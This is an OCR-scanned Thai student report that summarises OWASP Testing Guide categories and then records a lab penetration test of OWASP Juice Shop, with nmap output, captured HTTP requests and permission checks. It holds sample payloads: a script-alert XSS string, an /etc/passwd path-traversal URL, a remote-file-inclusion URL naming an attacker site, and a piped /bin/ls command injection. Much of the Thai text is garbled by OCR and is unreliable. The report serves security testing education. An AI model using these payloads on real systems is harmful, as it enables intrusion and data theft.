CSRF Aannslaudiifendesiu URL Fafidedlnd lunsdveaivlediimei
action UN48819H1U GET request 19 Delete: www.example.com/profile/delete &avn
19 v P a o ¢dv o < < . . 0§V a '
deli Users audupdnderiisneviaenaenia v3e  Social Engineering  ¥ilsiliinnisds
. 4 v ar ﬂ‘ a o v 5 v
request action iilun¥aufy Token vasauiiadn fienavinli account tugnausenlula lng

Mveslilaligausrasfasnsvyinedrniu

2.6.6 Testing for logout functionality

'z - ° v v
Junisveaeuiaidu logout Wia Users vin1s logout Waa Token AN
viany lilfanunsaldaunield Suleditldsyuu Single sign off fewiane session Vv
° v P Y] v " Y a v a °
warynyiims  logout Udd  We  Users nautdunlgaulmilumingy  deadinisi

Authentication 9nA39

2.6.7 Test Session Timeout

14 (Y] . Y. ] = 1% [
Wunisveaeurdneiu logout functionality usaziiendasiu nsvumiiad
489 Token Ingazuusriinues Token 1y 2 Yszianfie non-persistent fiu persistent
. 1o & ° ~t [
- Non-persistent: 'luu"uay,amwannmszqag"lu Token awnsafaule

11 timeout Asgniamsiagil Server
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. v ° a v v ) Ao W
- Persistent: asfiieyadwaniianiiain visldnuagn vieTununey
o a [Y Ty . [ . ¢

983 Token Fafimnundululanile Client axiidnlu timeout Tnesiaan

a ' | o) ' .

Agaid finsdaEesiamith Server wiali min Client ansaudly
L4 i =3 1 & A e H = v g

vamuaegliuiueenlundniuld Wietlsamuaiia1aiauad Token &

anunsaldenilaeg uansinbiinnsnsisaeuluile Server ludwil

2.6.8 Testing for Session Puzzling

. . . ' . . ) 1al
Session Variable Overloading (138138171 Session Puzzling) Wudeslwin
a 4 . \ o ¥ . v od v ' ¢ o 9 v
\finfuidle application fimslau session fdeafiuanningauseasdifien i attacker
ondhifeyaminiulneadey Afanmadnan  session Tiuiunmiden udgnldlunis
o a v o o 0o qVa . i )
nsvviauld 1w wih password recovery fimnaiiviAnn1suou session tuun 9nnslden

. ' N 08 Ve i / Y v v 4 . .
input 8819 email vilvijaan session dudnfamiinduqle @wnsa bypass authentication

ot

2.7 Input Validation Testing

el Y Py e t '
\Jumsvedeuingafunisifaanugndoswasd input 910 Users visvum insstsnll

r o v v -~ . 1 d & P @
ansaAIUANATYEY Users fidwls deyasnatguen w3e Client lipasiveiie ewiniiu
annsanaudas (tampered) S3laALA us Application Aflaududowsinaziinisiua input
31unn vili Developer srnsanistlasiu Taglumdeiiaziinisaasuitu Cross Site
Scripting (XSS), SQL Injection, XML Injection, Command Injection, HTTP Splitting 1¥u

v v & H a Y]
iy Faazuansliiuludunaunisnaasuase luundaly

2.7.1 Testing for Reflected Cross Site Scripting

Jumslaudfifin?u e attacker vinms Inject (unsn) TAnuweeadly
P~ v ° o o o ) .. % v Y]
Welst browser Y5 execute lAatUANNAY HTTP response n15 inject ﬂ‘lﬁlﬂqn%mﬁﬁ[u
o . . :5 a Qs nl a; a fo 5 dc’l’
# application wms1waziu uiaransenuiy Users MiUadeAsuns1ouy laenislaumtiay

v o . gt a g ed a1 w4 1o g v

wuldilulunwn Javascript uanflaasunouqdniduiu Jedednidvinly attacker @w1sn
a 5 d" . v X 3 . ‘JA
fndla Key loggers, alugand, Clipboard theft iudiu Insnmsvageuilazmer input ARnlY
fu URl 38 HTTP parameters Mmens inject ansunbiifudunsiwezlsiienaasy

<script>alert(123)</script> 1{Uusiu
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2.7.2 Testing for Stored Cross Site Scripting

o d v ow 1w o L. a
Wunslaudnsdinadnaiu Reflected XSS unnanaiumsedl n1s inject amsy
[ & & o . . v o v et v o a O
Whluasail sxgndmiAveglu application e i ngladrdaniifinisivanaeiutu fee
vins execute yudt liddeadinnsdsderaunsnely Users Un davihlvilantanauszsanidu

d ¥ a '
WEaUULUINAIN

2.7.3 Testing for HTTP Verb Tampering

v o & 3
Wunsasiaaeumsld HTTP method fiasanlagmluveaiuled method
Vo - ' ) d 4 v
dfuasfifid GET fu POST wnil request method Bufiuennilomsidammeiu
v ° ) 0 8 Ve 4 PR a v o
ud server s response nauly a1y liiAndesivd uls AasUanisldan method #
Tailalddug widwmnfiarududuiiszdeddden msnsivasy request waniu lineliiin
. o Y ' - a v 1 o ¢ o

action fivian1studusinuneu violllawedeya viedwweaduled Wewin  Users

a11N30a319 HTTP request dsozlsunild

2.7.4 Testing for HTTP Parameter pollution

Wumsasavdeuin winfinasld parameter 91 Tu HTTP request ua) azifin

X - ¢ o 1l < v e o q v . . P a v

Ugmduviald  dannlifinsdernugniend  e1avili  application  Airnuiialuls
AebiiAngoslnd Fannialaudlavaleguuuy FBLNNINAABY LU

http://example.com/?color=red&color=blue

2.7.5 Testing for SQL Injection

Dumslaudiunsn (inject) vduvSeramunves SQL query asluly
input uazasluds web application eazannse dﬁu{l’mﬂaﬁ sensitive 910 database 1o
?l'm'ﬁnLtfﬂ‘uﬁaga(insert/update/delete) lu database 1@ LLasﬁuq%'q'ﬁuasjﬁU SQL
commands 7 inject 1l winduledfusndusnidu eror messages fiinanns query
Aanatm uhl attacker Wiunwn SQL wavannsavili SQL query gnudnlaensal
(Syntax) 1ineBety

fnafianslaufinae SQL Injection wnung Wiy UNION operator, SQL
Comments, Null Bytes, URL encoding 1{Jusiu

faulfamw SQL W standard usivng DBMS fazilorlsvangetneiisnaiy

\Wu special commands, functions, comments lines {Wuau Fazvilvilia fingerprint 989
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unas DBMS uazdedwiiamsiuanssiusenly #reg1s DBMS wu Oracle, MySQL, SQL
server, MS Access, NoSQL
2.7.6 Testing for LDAP Injection

The Lightweight Directory Access Protocol Qn‘l‘z’ﬁ‘luﬂ’liLﬁU‘ﬁ'aa‘J,aﬁ'IW’m
users, host waz obejects Bu* lnun1slanAaLingINAg inject A1 input parameters Wwag

gnasludailaidudnan search, add wsa modify {Wusu
2.7.7 Testing for ORM Injection
Wunslaudidaeld sQL injection Taud Object Relational Mapping dtaz
generated code fi1de database ¢

2.7.8 Testing for XML Injection

- 3 ° e L4 = . - 4
nsvedeufiazdl XML doc ¥in1s inject Wluf application &1 XML
parser AnwanaluntsaTsdeuaNgnaed favilinslaudiduiatuls Insenalnme

1Y | By v
Joyad sensitive panIin
2.7.9 Testing for SSI injection
Server-Side Includes mslaudludiuves dynamic code #ioglu HTML
pages Tnsnsmadeuazidunisi@eu CGI programs way inject WAlUA HTML pages

2.7.10 Testing for XPath Injection

XPath  1Hunwiignesnuuuiitivihnisseysumisluduees XML
document Tnsdnilvauds web applications vxiin1sl4a1u Relational databases Feagld
surunw SQL udlutigiuiivansaansfiiGuld XML databases unu 3<ldn1wn XPath
Tuns Query



e mewew v m

11

2.7.11 IMAP/SMTP Injection

= 1Y) . v < LY
\Jumslaufinisdeansiu mail server manadsuaziuluinmsBudui

4 .. Y 1 v < . v
IMAP/SMTP command legn inject v3auiuuse Wlui mail server audpadinig

sanitized 1Aag9aunis

2.7.12 Testing for Code Injection

nsvadey inject code #1199 asllum input el web server vihna
executed Tngazuvai 2 Gos Ao
- Local File Inclusion Aansaalwd (include) unaiufieguu server 34
win  sanitized  Uhifdenezdrddividunsetle dred
http://vulnerable_host/preview.php?file=example.html
ofile 1Hu parameters il page g usfiensaziinis include file
v server WA wu ldwedlm dot-dot  slash

http://vulnerable_host/preview.php?file=../../../../etc/passwd

- Remote File Inclusion Aens include TWduen mn sanitized T3LIAR
219 iausn inject external URL 1% LU
http://vulnerable host/vuln_page.php?file=http://attacker_site/ma

licous_page

2.7.13 Testing for Command Injection

Wumsvaaeuns inject OS command  adlUlu HTTP request 1ty
http://sensitive/cgi-bin/userData.pl?doc=userl.txt dlevinis inject

http://sensitive/cgi-bin/userData.pl?doc=/bin/ls| 289113 execute /bin/ls

2.7.14 Testing for Buffer Overflow

<, ad a 11 124 [J [ v P
Wunslandftinainnisldrvestoyadiuiuann auvitl memory #ign
=l L% P ° . . 1 d < L
\Weuviu 39 attacker 9z¥in1sumsn malicious code Vludwinifisuriu uavasgn execute
nnasa fnsudsnsmagevesniiu 3 Witie fie 1. Heap overflow 2. Stack overflow. 3

Format string
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2.7.15 Testing for incubated vulnerabilities

' 1 Y ) ¢ o v a
mavedwiigniaiuierliludadiuled Sanndiflaiunda viearnilvan
o - o co N T
Aazifinnslanddu 1w File upload fianansn upload Tdsunstels, nsle SQL injection
il XSS Wudiu

2.7.16 Testing for HTTP Splitting/Smuggling

da £ o doq v
Wumslaw@iiaiuiu HTTP protocol Mvhldnnsiaumnesas HTTP
message Antguly
s da £ o 4 XY
- HTTP Splitting Wunislaufiiiiniufiun1s response TneTuagiu URL
o o | Y = ' o
vihnsdeludig 9%0d%0a Fudu CRLF sequence ldlunisutsussvin
Miamnsoasndn request delundouiulsl Foilild web cache
$2UUARUNTS response fa112
y & el v o ad o
- HTTP smuggling Uunslanddnseiuily Mdamsfinnumungves agent

A9 19U application firewalls

2.8 Testing for Error Handling

< Y o o 2 4 I
n1Inedauieiun1s handle (3uilo) AU eror MzUAMINATUIN Aa1AB  error
messages 7199 1 lifin15 handle 13 fieaazyilii leak information a¥lsuttetini

LY

ddyaantulsl 1wy error o1 SQL Fwiminesenislaud SQL Injection

2.9 Testing for weak Cryptography

Mt anansodievilinisdeteyalinuvasaietulusiu - confidential uas
integity wivnnnisidsviadignseu fasviliiAadeddwidu nmsidenlddana3iudlunis
wWhevia iaunsagnlasdliding Tuideiiavvinsmssgeunisdisia ms padding was

asrvdeuIMmIdtaya sensitive Ingliriumadrsianioly

2.10 Business Logic Testing

. . d‘ ar J ;4 ] -~ d‘
N5M3I9d8Y Business logic flaws ieAnuUaendenaenndasiugsna Jeaeiinmg
o . . 11 dl al t -~
nadouluiSosves Data validation w1n users ldA1duNn server aeiinisnavaustedals i

Ty CIC v < v [T B S 4 a &
Mg server w3k, naasuludumsidinaugnsies i dalddn 0 viednau wudu
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a 3 ' a a & ' Y a ' -
Baeglstu mslidn 0 viieRnaufntuludiniuvesgshanioly, Wasesns upload file

- v o < ¢ & 14
duqnndauiulad Wusu

2.11 Client Side Testing

N1SVAABUNIS execution ¥eY code VUil client Tasun@awsi1un1 Browser w38

- } . a o & o -1

Browser plugln YILHNFNAINNIS execution VU Server LazAUANUDNINATULN ‘LUW'NIE]U

d e . . . P v a T

aeilmsmeaasuiAizniu Client Side URL Redirect daflutefinwanvosnsidiaan input lay
C e [V < < ° 1 Ly

application 8815y input ¥83 user Au External URL &wnauilugnislaud phishing
. o o v < [y v . . L. .

attack w38 redirect witelnludwmduniilidadnme, Cross Site flashing, Clickjacking,

o %)
Local Storage wasdue {Wudu
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3UN15VAABULRIEITUU web application Y84 OWASP Juice Shop @uduiiules

FIUAMINUS (store) insalasaun®n Sudumnuineds FoFUAINUNIIGTIUY NITNAADUIY

9 & 4 . a o v v da v
sudulunu OWASP Testing Guide TaaiSuvinlumushdeniSesonliauasu wazsiusiu

v ¢ A ° a a L 1 1l
WAAWSLWDUY AT L:Ju'sxmnmLﬁm"uawaﬂmw‘wu

3.1 Information Gathering (OTG-INFO)

INFO-001 Conduct Search Engine Discovery and Reconnaissance for Information

Leakage

- lifidoyaludauil iewnnaaeulu localhost, search engine hilaunsatagludiu

wlet

INFO-002 Fingerprint Web Server

- Tools used: httprint

-  TUX 2.0 but confidence 37.95%

| LA httprint version 0.301 — %

Input File — r
]0 \Program\httprnt_301\win32\input txt

Signature File — T RS
[D \Program\httprint_301\win32\signatures bt

Report File

[ Programitemt_301 w32\ lprrddeu i =] ﬁ:"l"(‘”ﬁ' 0] = ClearAl | Opiions |
JUN 3.1.1 RAGWSIINNITEAUNUAY httprint



INFO-003 Review Webserver Metafiles for Information Leakage

- robots.txt udarAuliin ¥ spiders/robots/crawlers 11g directory /ftp

m ® Not secure | 192.168.99.100:3000/robots.txt

User-agent: *
Disallow: /ftp

3Uf 3.1.2 doyalu robots.txt

INFO-004 Enumerate Applications on Webserver

INFO-005 Review Webpage Comments and Metadata for Information Leakage

Zenmap: Non-Standard port found 3000

Nmap scan report for 192.168.99.160

Host is up (0.00066s latency).

Not shown: 1000 open|filtered ports, 998 closed ports
PORT STATE SERVICE VERSION

22/tcp  open ssh OpenSSH 7.2 (protocol 2.8)

| ssh-hostkey:

2048 66:Ta:61:20:¢b:63:70:69:9€:39:44:9f:91:6f:3c:d2 (RSA)
256 44:91:09:66:9C:40:20:bf:59:41:99:8e:97:90:20:42 (ECDSA)

3000/tcp open http Node.js Express framework
| _http-cors: HEAD GET POST PUT DELETE PATCH
| _http-favicon: Unknown favicon MD5: 60593CEDA42482E579C25193BD7EC6EL

http-methods:

Supported Methods: GET HEAD POST OPTIONS

http-robots.txt: 1 disallowed entry

| /ftp

|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
No exact 0S matches for host (If you know what 0S is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

0s:
:86_64-pc-Linux-gnu)SEQ(SP=0%GCD=1670%ISR=7EXTI=I%TS=U)0PS(01=M5B4%02=M5B
: 4%03=M5B4%04=M5B4%05=M5B4%06=M5B4 ) WIN (W1=8000%W2=8000%W3=8000%W4=8000%W5
:=8000%W6=8000) ECN(R=Y%DF=N%TG=FF%W=8000%0=M5B4%CC=N%0Q=) T1 (R=Y%DF=N%TG=FF
1 %5=0%A=5+%F=AS%RD=0%Q=) T2 (R=N) T3 (R=Y%DF=N%TG=FF% BA=S+%F=AS%0=M
:5B4%RD=0%0=) T4 (R=Y%DF=N%XTG=FF %F: %RD=0%Q=)T5 (R=N)T5 (R

0s
0s
0s
0s
0s

0S:
0S:

nuNsARNINUNEINYadlAnLel (by Browser view source function)

SCAN(V=7.70%E=4%D=10/8%0T=22%CT=1%CU=%PV=Y%DS=1%DC=T%G=Y%TM=5BBB2DD5%P=x

=Y%DF=N%TG=FFiW=8000%5=0%A=0%F=AR%0=%RD=0%Q=) T6 (R=Y%DF=NYTG=FFiW=8000%S5=
A%A=S%F=AR%0=%RD=0%Q=)T7 (R=N) U1 (R=N) IE(R=N)

< @
JUN 3.1.3 HAAWSIINMTAUNUAIY Zenmap

15
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P <a href="https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/
content/part3/donations.html#credit-card-donation-step-by-step”
target="_blank™ class="btn btn-danger"”>..</a>

<l--<a href="/redirect?to=https://gratipay.com/juice-shop"

target="_blank" class="btn btn-danger"”>

<i class="fab fa-gratipay fa-1g"></i>
Gratipay
</a>-->
gﬂﬁ 3.1.4 dawiliin1g comments w14

- wuunetegn hide 13

</1i>
» <1i class="dropdown”>..</1i>
»<1i class="dropdown® ng-show="isLoggedIn()">..</1i>
» <1i class="dropdown™ ng-show="isLoggedIn()">..</1i>
P <1i class="dropdown” ng-show="isLoggedIn()">..</1i>
class="dropdown ng-hide" ng-show="scoreBoardMenuvisible"”>
| »<a href-"#/score-board">..</a>
| </11>
» <1i class="dropdown ribbon-spacer”>.</1i>
" after

gﬂﬁ' 3.1.5 daufitinsdouanly

INFO-006 Identify application entry points

- parameters U@ulu BODY (email, Productld, quantity Judu)

e SRS € R )7 Gy )
POST /rest/userflogin HTTP/1.1
Host 192.168 99.100:3000
User-Agent Mozilla/5 0 (Windows NT 10.0; Win64; x84, rv-62 0) Gecko/20100101 Firefox/62. 0
Accept application/json, text/plain, */*
Accept-Language en-US en.g=05
Content-Type application/json;charset=utf-8
Content-Length 39 .
Cookie _status: " d =8VKOKVQ2LxP QZNWiBrdxKuNuJhKAE R
Connection ~ close
("emau":"nonexmt","pass-o:d"’:"l::HS") ToTTES : ?
SRR e B NN R i IR B A
POST /api/Basketitems/ HTTP/1 1
Host 192.168.99.100:3000
User-Agent Mozilla/5.0 (Windows NT 10.0;: Win64; x64; rv.62 0) Gecko/20100101 Firefox/62.0
Accept application/json, text/plain, */*
Accept-Language en-US eng=0 5
Referer http://192.168.99.100:3000/
Content-Type application/json;charset=utf-8
Content-Length 45 4
Cookie R i t_status: ; continueCode=8VKOkVQ2LxP qZNWjBrdxKuNuJhKAE .. |¥

{ 'b:oduct Td":1,"BasketId": ;'47-!"',"'&\1511: xr.v;": 1)

‘S'Uﬁ 3.1.6 parameters fiwulu POST request



- parameters u@ulu URL (g)

17

GET Irest/product/search?q=owasp HTTP/1.1

Host 192.168.99.100:3000

User-Agent Mozilla/5.0 (Windows NT 10.0, Win64. x64; rv:62.0) Gecko/20100101 Firefox/62.0

Accept application/json, text/plain, */*

Accept-Language en-US,en;q=0 5

Referer http://192.168.99.100:3000/

Authorization Bearer eyJhbGciOiJSUzI NilsinR5cCl6lkpXVCJ9 eyJzdGF0dXMiOUzdWNZXNzIiwiZGF0Y SibeyJpZ.
Cookie cookieconsent_status=dismiss, continueCode=8VKOkVQ2LxPebacXnwqZNWiBrdxKuNuJhKAEGR ..
Connection close

gﬂﬁ 3.1.7 parameters #iwulu GET request

INFO-007 Map execution paths through application

WY
v BB api
» BB Basketitems
> [l Challenges
» BB Products
> [ Recycles
» @ css
> ‘ dist
0 e
M L
D
B acquisitions md
) coupons_2013 md.bak
) eastere.gg
) incident-support kdbx
[) tegal md
[ package json bak
) suspicious_ermors.yml
» B i18n
» B node_modules
» BB private
> (@ public
v @ redirect
) to=https.//github. com/bkimminich/juice
> ‘ rest
[ robots.txt
» [ socket io

3U#l 3.1.8 path imuuuiuled

INFO-008 Fingerprint Web Application Framework

- X-Powered By: Express

Name DO i R oA s e
: HTTPAA 200 OK 4
| X-Powered-By Express

| Access-Control-Allow-Origin &

X-Content-Type-Options. nosniff

X-Frame-Options SAMEORIGIN

Accept-Ranges bytes

| Cache-Control public, max-age=0 :

| Last-Modified Fri, 05 Oct 2018 03:13-10 GMT

|ETag W/2976-1664236(7b3" j
Content-Type text/htmi; charset=UTF-8

| Content enath et ="

5UT 3.1.9 framework # server 14
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INFO-009 Fingerprint Web Application
- HTMLS5, JQuery, Script

68.99. 10¢
K] Country[RE | ], HTMLS, IP

, JQuery, Script, UncommonHeaders |
], X-Frame-Options|[SAl l], X-Powered-By X-UA-Compatible|
)

o Y P
3Un 3.1.10 NAaaAWS2IN whatweb WaARIIIBALIDUAYDS web application

INFO-010 Map Application Architecture
- N/A lﬂwuﬁagatﬂmmmﬂu Localhost 13l WAF uag multiple server
3.2 Configuration and Deployment Management Testing (OTG-CONFIG)

CONFIG-001 Test Network/Infrastructure Configuration

- N/A

CONFIG-002 Test Application Platform Configuration

- WU comment T html a3 INFO-005

CONFIG-003 Test File Extensions Handling for Sensitive Information

- wulWdunegienaliveyah sensitive

~ | ftp
acquisitions.md coupons 2013 md bak easters.gg
incident-support. kdbx legal.md )~ order_6941-{1462900d93e4fab.pdf
package json.bak suspicious_errors.ymi

UM 3.2.1 uamawanih /ftp

- i server handle M3i3unglvia file ogals
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Juice Shop (Express ~4.16)

403 Error: Only .md and .pdf files are allowed!
at verify (fjuice-shop/routes/fileServer.js:29:12)
at /juice-shop/routes/fileServer.js:12:7
at Layer.handle [as handle_request] (/juice-shop/node_modules/express/lib/router/layer.js:95:5)
at trim_prefix (/juice-shop/node_modules/express/lib/router/index js:317:13)
at /juice-shop/node_modules/express/lib/router/index.js:284:7
at param (/juice-shop/node_modules/express/lib/router/index.js:354:14)
at param (/juice-shop/node_modules/express/lib/router/index.js:365:14)
at Function.process_params (/juice-shop/node_modules/express/lib/router/index.js:410:3)
at next (/juice-shop/node_modules/express/lib/router/index.js:275:10)
at fjuice-shop/node_modules/serve-index/index.js:145:39
at FSReqWrap.oncomplete (fs.js:171:5)

< - a =
JUN 3.2.2 WelinnsisengWdunanadu

CONFIG-004 Backup and Unreferenced Files for Sensitive Information

- WU admin page in JavaScript

] top i
v 192.168.99.100:3000 ;
> B css j
v i dist

T ‘f‘

» B private |

L

r&;
g‘dﬁ 3.2.3 wulwa juice-shop.min.js

email,n.results.totalPrice=e.data[@].totalPrice,n.results.products=e.data[@].products,n.re
,["$scope”, "$uibModal”,"$sce", "UserService",function(t,n,o0,e){"use
sers[n].email=o.trustAsHtml(t.users[n].email)}).catch(function(e)

.html",controller: "UserDetailsController",size:"1g",resolve:{id:function(){return
e","$uibModal", "UserService","id",function(n,e,t,0){"use strict";t.get(o).then(function(e)
nfig(["$routeProvider”,function(e){"use strict";e.when("/H@istration”,

,e.when("/about",

,{templateUrl:"views/Contact.html",controller: "ContactController”}),e.when("/login",
",{templateUrl:"views/Register.html",controller: "RegisterController"}),e.when("/basket"”,

hen("/logout”,
-password”,

3U#l 3.2.4 wu path Mirlugawiia admin



CONFIG-005 Enumerate Infrastructure and Application Admin Interfaces
- Tudwvemithueniiu (Vadministration) @unsnau feedback 1o
- @wnsauiu email 289 account Buld
- Wiy Recycling Request

a

@ | 5 Y ot -
- lasAeundl Credential auisardaviuntle

Administra

@
@
@
@
@
@
@
o
@

gﬂﬁ 3.2.5 admin page

CONFIG-006 Test HTTP Methods
- Netcat OPTIONS

1

1.1
192.168.99.100:3000

3000

HTTP/1.1 204 No Content

1g1n:

Methods: GET,HEAD,PUT,PATCH,POST,DELETE
Vary: Access-Control-Request-Header
Content-Lengtt C
Date: Tue, 09

Connection

5UM 3.2.6 NAAWSIN netcat

v
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- Test XST Potential: liwudayaiilasain TRACE HTTP Method lalaygn

- Testing for arbitrary HTTP methods: liwuilaym (Server not allowed).

' v da L v v a
Head access control bypass: liwuntinfifinig redirect lUsamihdendu

CONFIG-007 Test HTTP Strict Transport Security

No HTTPS or HSTS

CONFIG-008 Test RIA cross domain policy

N/A lsiwulwla policy

3.3 Identity Management Testing (OTG-IDENT)

IDENT-001 Test Role Definitions

& nfidiie api/Users #e Admin Authorization header: /1y (GET method)
winiidndis api/Users #8 common users Authorization header : HW(GET
method)

Admin fiu User &I Permission tagniu i3suiaiiou role Wagaiu
Judsuagusenunldmunail “iddesiin(constraints) Wy User anansa Delete
Uoyalu Basketitem BE’?J‘u‘lﬁ

*Write = POST/PUT A aiauavunledayals

*Create = POST fiaasnalaeenuien

*Edit = PUT Ao unlutayaldeenuden



o o .
f13799 3.3.1 UaAIENSUUIAIA objects

api/Users api/Products

api/Basketitem

Admin(Read, Create)

Admin(Read, Write)

Admin(Read, Write,
Delete)

Users(Read, Create)

User(Read, Write)

Users(Read,
Delete)

Write,

Guest(Create)

Guest(Read, Edit)

Guest(NON) require

credential

ﬁgmj 14ifl permission Delete Tu api/Users

22

e =

DELETE /api/Users/2 HTTP/1.1

Host: 192.168.95.100

Accept: */*

Accept-Language: en

Connection: close

Authorization: Bearer
eyJhbGeci10iJSUzIINLISInRScCIEIkpXVCIS . eyl zdGFOAXNiI01JzdWNI ZXNz 1 iv
1ZGF0YS16eyJp2CIE0SwiZWlhaWviOiJUZXNOZXIAZXhhbS5)b20iLCIwYXNzd2S
YZCIETjgyNINIYIBlZWE4YTcwNmMOYZMOYTE2ODkx2jg02TdiIiviY3J1YXR1ZEF
01301iMjAxOCOxMCOxMCAWODOzMzo0Ni420TUgKzAVOjAv I iwidXBKYXRIZEFOIj0
iM3jAxOCOxMCOxMCAwODozMzo0ONi420TUgKzAwO ) Av InOs ImlhdC IENTUZOTEZ MDQ
SNCwiZXhwIjoxNTMSMTcANDROEQ. DnFpSqCyEéSDeyGQx leKecoOEKuLiASEYVCAR
THTceSMhTDERHSGCpE2 gSVhOd2GZMmgFEAWBIS_SrvulSnijiRwT25aSvqOgpXiH
PBpnSdQlMxCINCbyk4jO-£3_B1HUIEHkIESMS729€kOB IdVDNUNFEVEFKEDE YVTX
MMeEr XM

Content-Length: 0

LY

401 Un:
error:0906D06C:PEM
‘routines:PEM_read_bio:no start line

~

1 UnauthorizedError:

gy

gﬂ‘?‘l 3.3.1 &4 Delete request 1ng Users

- Wikl permission Edit Tu api/Users

PUT /api/Users/7 HTTP/1.1
Host: 192.1€8.99.100:3000

User-Agent: Mozilla/5.0 (VWindows NT 10.0:; VWiné4:; x64;
rv:€2.0) Gecko/20100101 Firefox/€2.0

Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5

Referer: http://192.1€8.99.
Authorization: Bearer

eyJhbGci01JSUZIINiIsInRScCIETkpXVCJS, eyJ zdGFOAXM10iJzd¥
NIZXNzIiviZGFOYSI€eyJpZCIl€0SwiZW1lhaWviOiJUZXNOZXJAZXhhb

A . HTTP/1.l1 401 Unauthorized

Hr i X-Powered-By: Express
X-Content-Type-Options:
100:3000/

Connection: close
Content-Length: 190

S53b20iLCIvYXNzA2SyZCTE IMNINDNINZQ3 YTZhZmd 1 Y2ImOGJ IN2 Y2 {

OGFJZmViZWULIiviY3J1YXR1IZEFOIjoiMjAxOCOxMSOxMyAwODoyNjo
xNS4zNDcgKzAvOIAwT iwidXBkYXR1ZEFOTjoiMjAxOCOxMSOxMyAvOD
oyNjoxNS4zNDcygKzAvO)AwInOs ImlhdCIEMTUOMjASNZUSNCwiZXhvw]

"error”: {

Access-Control-Allow-Origin:

X-Frame-Options: SAMEORIGIN
Content-Type: application/json; charset=utf-8
Date: Tue, 13 Nov 2018 05:02:24 GNT

JoxNTQYMTE INTKkO£Q. 1bghSnT8H-7wba-y7€HVP75n7pgZD LJPYuépm
DL1ALWEVEXVNCYFBArATO3 1EDr-7CuBQvphGF LvbA1ODS8ZYSjFhezi
E3€-CqHOYLuSzTkS-hNzgedG77v_Jv59Xq4JcOtkNMcoAGhodB1iOQMK
xADaY_oYVSoilc4CRc__ lbYw

Cookie: cookieconsent_status=dismiss;
continueCode=1Pn3iB0okMEVAY4HiuBhecWIkTeivfDuZhNerCStQc4

TOREUNAANY ww AP IMT & i a=TuFFuaTlmlenENn 671 3 0T,

"me

ssage": "error:0S0EDOEC:PEN

routines: PE!_zead_'bxo ino start line”,

"name”: "UnauthorizedError",

"code": "invalid token”,
"status": 401,
"inner": (}

gﬂﬁ 3.3.2 @4 PUT request a8 Users




&3

- figaudnlidl permission Delete lu api/Products

DELETE /api/Products/92 HTTP/1.1

Host: 192,1£B.99.100

Accept: */*

Accept-Language: en

Connection: close

Authorization: Bearer
eyJhbGeiOiJSUzIINi IS InRScCIE1kpXVCIS. ey zdGFOAXNi01J2zdWNI ZXNzTiw
1ZGFOYS1€6eyJdpZCIEMyviZWihaWwiOiJiZWSkZXIAanVpY2Utc2gub3AiLCIwYXN
2d29y2CI1ETIBINZZINTES ZTNmY Tk LYWF iZ3)F i ¥mZmY2Y3INDRANGVmMI 1wiY3J LYXR
1ZEFO130iMjAxOCOXMCOXMSAwWNZOyMjo0OC4AxOTAgKZAVO AV 1 widXBXYXR1ZEF
01301NMjAxOCOXMCOXMSAWMzZoyMJoDOCAxOTAgGKZAWO] AV In0s ImlhdCIENTUZOTI
ONzQONCwiZXhwIjoxNTMSMIYINDQO£Q. F4Q5GhdGIOQMSTtTIUUAQo I¥NVe7T_our
BXXtLmPm7-NOSEiOXHr ZAr zc9R2 1Yi0JJp40_2xr IrbPd7KOMxTPZQLN2bWz7plFv
£Dvd1CA=S5mbT8uhwe i XENSVE zbX0ohNAPWOVIoR-ZZmUhyA1COS hdByGWr3dZ1H
AEO44m2-SmA

Content-Length: O

401 UnauthorizedError:

0906D06C:PEM
:PEM_read_bio:no start line

gﬂﬁ' 3.3.3 d4 Delete request lU#ls api/Products

-

¢ Y d ) v
= W@ Guest mmmur‘ﬂwaqaw api/Products gl

Y

PUT /api/Products/l HTTP/L1.l

Host: 192.1€8.99.100:3000

User-Agent: Mozilla/5.0 (Vindows NT 10.0; Winé4: x€4;
rv:62.0) Gecko/Z0100101 Firefox/E2.0

Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5

Referer: http://192.168.99.100:3000/

Cookie: cookieconsent status=dismiss;
continueCode=1Pn)jB80ckMEVAY4HjuBhecWIkTeiwtDuZhNtrCStQcq
TBBSKPOgD3xreQKINL: io=TuFFujVmkuSOz457AAAH
Connection: close

I1f-None-Match: W/"23b3-Fné+KxrB7VVvox/VUo4z1SJL+31"

HTTP/1.1 200 OK

X-Powered-By: Express
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN

Content-Type: application/json; charset=utf-8
Content-Length: 238

ETag: W/ "ee-DPRgOVLrSzmITNBeCboQhhnaYRO"
Date: Tue, 13 Nov 2018 08:41:00 GNT
Connection: close

{"status”:"success", "data”:{"id":1, "name":"Apple

Juice (1000ml)","description”:"The all-time

classic."”, "price"”:1.99, "image":"apple_juice.jpg", "crea
tedAt":"2018-11-13TD3:43:4€.6502", "updatedAt":"2018-11
-13T03:43:46.€50Z", "deletedAt”:null})

sU# 3.3.4 da PUT request Tny Guest

o Lo

ga1idn Guest Liifl permission a9 api/Basketitermn ae

GET /api/BasketItems/ HTTP/1l.1

Host: 192.1£8.99.100:3000

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4:; x&4:
rv:62.0) Gecko/20100101 Firefox/62.0

Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5

Referer: http://192.168.99.100:3000/

Cookie: cookieconsent status=dismiss;

continueCode=1PnjB80ckMEVAY4HjuBhecWIkTe iwfDuZhNtrCStQcd

TB8BSKPOgD3xreQKINL: io=TuFFujVmkuS50z457AAAH
Connection: close
If-None-Match: W/"23b3-Fné+Kxx87VVvox/VUo4z1SJL+31"

HTTP/1.1 401 Unauthorized
X-Povered-By: Express
Access-Control-Allow-Origin: *
| X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Type: application/json; charset=utf-g8
Date: Tue, 13 Nov 2018 08:55:28 GNMT
Connection: close
Content-Length: 234

{
"error": |
"message”: "No Authorization header was found”,
"name": "UnauthorizedError"

' "code": "credentials required”,
i "status": 401,
"inner": {

"message": "No Authorization header was found"

}

31Jﬁ 3.3.5 89 GET request 1a8 Guest
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IDENT-002 Test User Registration Process
Verify that the identity requirements for user registration are aligned with business
and security requirements:

- yararuiediuliannse register vateasala (e 1D 30 email Fudgaiv)

HTTP/1.1 400 Bad Recuest
X-Powered-By: Express
